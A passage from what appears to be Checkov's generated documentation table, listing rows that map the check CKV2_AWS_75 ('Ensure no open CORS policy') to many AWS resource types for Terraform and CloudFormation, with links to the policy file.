[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4952 | CKV2_AWS_75 | resource | aws_securityhub_insight | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4953 | CKV2_AWS_75 | resource | aws_securityhub_invite_accepter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4954 | CKV2_AWS_75 | resource | aws_securityhub_invite_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4955 | CKV2_AWS_75 | resource | aws_securityhub_member | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4956 | CKV2_AWS_75 | resource | aws_securityhub_member | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4957 | CKV2_AWS_75 | resource | aws_securityhub_organization_admin_account | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4958 | CKV2_AWS_75 | resource | aws_securityhub_organization_admin_account | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4959 | CKV2_AWS_75 | resource | aws_securityhub_organization_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4960 | CKV2_AWS_75 | resource | aws_securityhub_organization_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4961 | CKV2_AWS_75 | resource | aws_securityhub_product_subscription | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4962 | CKV2_AWS_75 | resource | aws_securityhub_product_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4963 | CKV2_AWS_75 | resource | aws_securityhub_standards_control | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4964 | CKV2_AWS_75 | resource | aws_securityhub_standards_control | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4965 | CKV2_AWS_75 | resource | aws_securityhub_standards_control_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4966 | CKV2_AWS_75 | resource | aws_securityhub_standards_control_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4967 | CKV2_AWS_75 | resource | aws_securityhub_standards_subscription | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4968 | CKV2_AWS_75 | resource | aws_securityhub_standards_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4969 | CKV2_AWS_75 | resource | aws_securitylake_aws_log_source | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4970 | CKV2_AWS_75 | resource | aws_securitylake_aws_log_source | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4971 | CKV2_AWS_75 | resource | aws_securitylake_custom_log_source | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4972 | CKV2_AWS_75 | resource | aws_securitylake_custom_log_source | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4973 | CKV2_AWS_75 | resource | aws_securitylake_data_lake | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4974 | CKV2_AWS_75 | resource | aws_securitylake_data_lake | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4975 | CKV2_AWS_75 | resource | aws_securitylake_subscriber | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4976 | CKV2_AWS_75 | resource | aws_securitylake_subscriber | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4977 | CKV2_AWS_75 | resource | aws_securitylake_subscriber_notification | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4978 | CKV2_AWS_75 | resource | aws_securitylake_subscriber_notification | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4979 | CKV2_AWS_75 | resource | aws_serverlessapplicationrepository_cloudformation_stack | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4980 | CKV2_AWS_75 | resource | aws_serverlessapplicationrepository_cloudformation_stack | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4981 | CKV2_AWS_75 | resource | aws_service_discovery_http_namespace | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4982 | CKV2_AWS_75 | resource | aws_service_discovery_http_namespace | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4983 | CKV2_AWS_75 | resource | aws_service_discovery_instance | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4984 | CKV2_AWS_75 | resource | aws_service_discovery_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4985 | CKV2_AWS_75 | resource | aws_service_discovery_private_dns_namespace | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4986 | CKV2_AWS_75 | resource | aws_service_discovery_private_dns_namespace | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4987 | CKV2_AWS_75 | resource | aws_service_discovery_public_dns_namespace | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4988 | CKV2_AWS_75 | resource | aws_service_discovery_public_dns_namespace | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4989 | CKV2_AWS_75 | resource | aws_service_discovery_service | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4990 | CKV2_AWS_75 | resource | aws_service_discovery_service | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4991 | CKV2_AWS_75 | resource | aws_servicecatalog_budget_resource_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4992 | CKV2_AWS_75 | resource | aws_servicecatalog_budget_resource_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4993 | CKV2_AWS_75 | resource | aws_servicecatalog_constraint | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4994 | CKV2_AWS_75 | resource | aws_servicecatalog_constraint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4995 | CKV2_AWS_75 | resource | aws_servicecatalog_organizations_access | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4996 | CKV2_AWS_75 | resource | aws_servicecatalog_organizations_access | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4997 | CKV2_AWS_75 | resource | aws_servicecatalog_portfolio | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4998 | CKV2_AWS_75 | resource | aws_servicecatalog_portfolio | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4999 | CKV2_AWS_75 | resource | aws_servicecatalog_portfolio_share | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5000 | CKV2_AWS_75 | resource | aws_servicecatalog_portfolio_share | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5001 | CKV2_AWS_75 | resource | aws_servicecatalog_principal_portfolio_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5002 | CKV2_AWS_75 | resource | aws_servicecatalog_principal_portfolio_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5003 | CKV2_AWS_75 | resource | aws_servicecatalog_product | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5004 | CKV2_AWS_75 | resource | aws_servicecatalog_product | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5005 | CKV2_AWS_75 | resource | aws_servicecatalog_product_portfolio_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5006 | CKV2_AWS_75 | resource | aws_servicecatalog_product_portfolio_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5007 | CKV2_AWS_75 | resource | aws_servicecatalog_provisioned_product | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5008 | CKV2_AWS_75 | resource | aws_servicecatalog_provisioned_product | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5009 | CKV2_AWS_75 | resource | aws_servicecatalog_provisioning_artifact | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5010 | CKV2_AWS_75 | resource | aws_servicecatalog_provisioning_artifact | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5011 | CKV2_AWS_75 | resource | aws_servicecatalog_service_action | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5012 | CKV2_AWS_75 | resource | aws_servicecatalog_service_action | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5013 | CKV2_AWS_75 | resource | aws_servicecatalog_tag_option | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5014 | CKV2_AWS_75 | resource | aws_servicecatalog_tag_option | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5015 | CKV2_AWS_75 | resource | aws_servicecatalog_tag_option_resource_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5016 | CKV2_AWS_75 | resource | aws_servicecatalog_tag_option_resource_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5017 | CKV2_AWS_75 | resource | aws_servicecatalogappregistry_application | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5018 | CKV2_AWS_75 | resource | aws_servicecatalogappregistry_application | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5019 | CKV2_AWS_75 | resource | aws_servicecatalogappregistry_attribute_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5020 | CKV2_AWS_75 | resource | aws_servicecatalogappregistry_attribute_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5021 | CKV2_AWS_75 | resource | aws_servicecatalogappregistry_attribute_group_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5022 | CKV2_AWS_75 | resource | aws_servicecatalogappregistry_attribute_group_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5023 | CKV2_AWS_75 | resource | aws_servicequotas_service_quota | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5024 | CKV2_AWS_75 | resource | aws_servicequotas_service_quota | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5025 | CKV2_AWS_75 | resource | aws_servicequotas_template | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5026 | CKV2_AWS_75 | resource | aws_servicequotas_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5027 | CKV2_AWS_75 | resource | aws_servicequotas_template_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5028 | CKV2_AWS_75 | resource | aws_servicequotas_template_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5029 | CKV2_AWS_75 | resource | aws_ses_active_receipt_rule_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5030 | CKV2_AWS_75 | resource | aws_ses_active_receipt_rule_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5031 | CKV2_AWS_75 | resource | aws_ses_configuration_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5032 | CKV2_AWS_75 | resource | aws_ses_configuration_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5033 | CKV2_AWS_75 | resource | aws_ses_domain_dkim | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5034 | CKV2_AWS_75 | resource | aws_ses_domain_dkim | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5035 | CKV2_AWS_75 | resource | aws_ses_domain_identity | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5036 | CKV2_AWS_75 | resource | aws_ses_domain_identity | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5037 | CKV2_AWS_75 | resource | aws_ses_domain_identity_verification | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5038 | CKV2_AWS_75 | resource | aws_ses_domain_identity_verification | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5039 | CKV2_AWS_75 | resource | aws_ses_domain_mail_from | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5040 | CKV2_AWS_75 | resource | aws_ses_domain_mail_from | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5041 | CKV2_AWS_75 | resource | aws_ses_email_identity | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5042 | CKV2_AWS_75 | resource | aws_ses_email_identity | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5043 | CKV2_AWS_75 | resource | aws_ses_event_destination | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5044 | CKV2_AWS_75 | resource | aws_ses_event_destination | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5045 | CKV2_AWS_75 | resource | aws_ses_identity_notification_topic | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5046 | CKV2_AWS_75 | resource | aws_ses_identity_notification_topic | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5047 | CKV2_AWS_75 | resource | aws_ses_identity_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5048 | CKV2_AWS_75 | resource | aws_ses_identity_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5049 | CKV2_AWS_75 | resource | aws_ses_receipt_filter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5050 | CKV2_AWS_75 | resource | aws_ses_receipt_filter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5051 | CKV2_AWS_75 | resource | aws_ses_receipt_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5052 | CKV2_AWS_75 | resource | aws_ses_receipt_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5053 | CKV2_AWS_75 | resource | aws_ses_receipt_rule_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5054 | CKV2_AWS_75 | resource | aws_ses_receipt_rule_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5055 | CKV2_AWS_75 | resource | aws_ses_template | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5056 | CKV2_AWS_75 | resource | aws_ses_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5057 | CKV2_AWS_75 | resource | aws_sesv2_account_suppression_attributes | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5058 | CKV2_AWS_75 | resource | aws_sesv2_account_suppression_attributes | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5059 | CKV2_AWS_75 | resource | aws_sesv2_account_vdm_attributes | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5060 | CKV2_AWS_75 | resource | aws_sesv2_account_vdm_attributes | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5061 | CKV2_AWS_75 | resource | aws_sesv2_configuration_set | 